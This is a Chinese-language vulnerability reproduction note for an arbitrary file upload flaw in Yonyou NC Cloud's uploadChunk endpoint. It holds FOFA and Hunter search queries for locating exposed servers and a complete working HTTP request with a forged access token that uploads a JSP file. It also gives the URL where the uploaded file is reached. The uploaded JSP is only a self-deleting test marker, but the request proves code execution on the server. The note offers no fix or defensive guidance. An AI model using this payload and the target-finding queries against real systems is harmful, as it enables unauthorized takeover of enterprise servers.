Y8-25用友-NCCloud-任意文件上传

漏洞描述：

NC Cloud是用友推出的大型企业数字化平台。用友NC cloud uploadChunk 存在任意文件上传，攻击者可利用此漏洞获取服务器权限。

网站图片：

fofa语法：

app=“用友-NC-Cloud”

Hunter语法：

web.icon==“b0cb782f31c4ca81c836c440681f59c9”

漏洞复现：

payload：

POST /ncchr/pm/fb/attachment/uploadChunk?fileGuid=/.//nccloud/&chunk=1&chunks=1 HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
Connection: close
Content-Length: 175
Content-Type: multipart/form-data; boundary=024ff46f71634a1c9bf8ec5820c26fa9
accessTokenNcc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
Accept-Encoding: gzip, deflate


--024ff46f71634a1c9bf8ec5820c26fa9
Content-Disposition: form-data; name="file"; filename="Ivoz124.jsp"

<%out.println(1111*1111);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
--024ff46f71634a1c9bf8ec5820c26fa9--

效果图：

http://your-ip/nccloud/Ivoz124.jsp

效果图：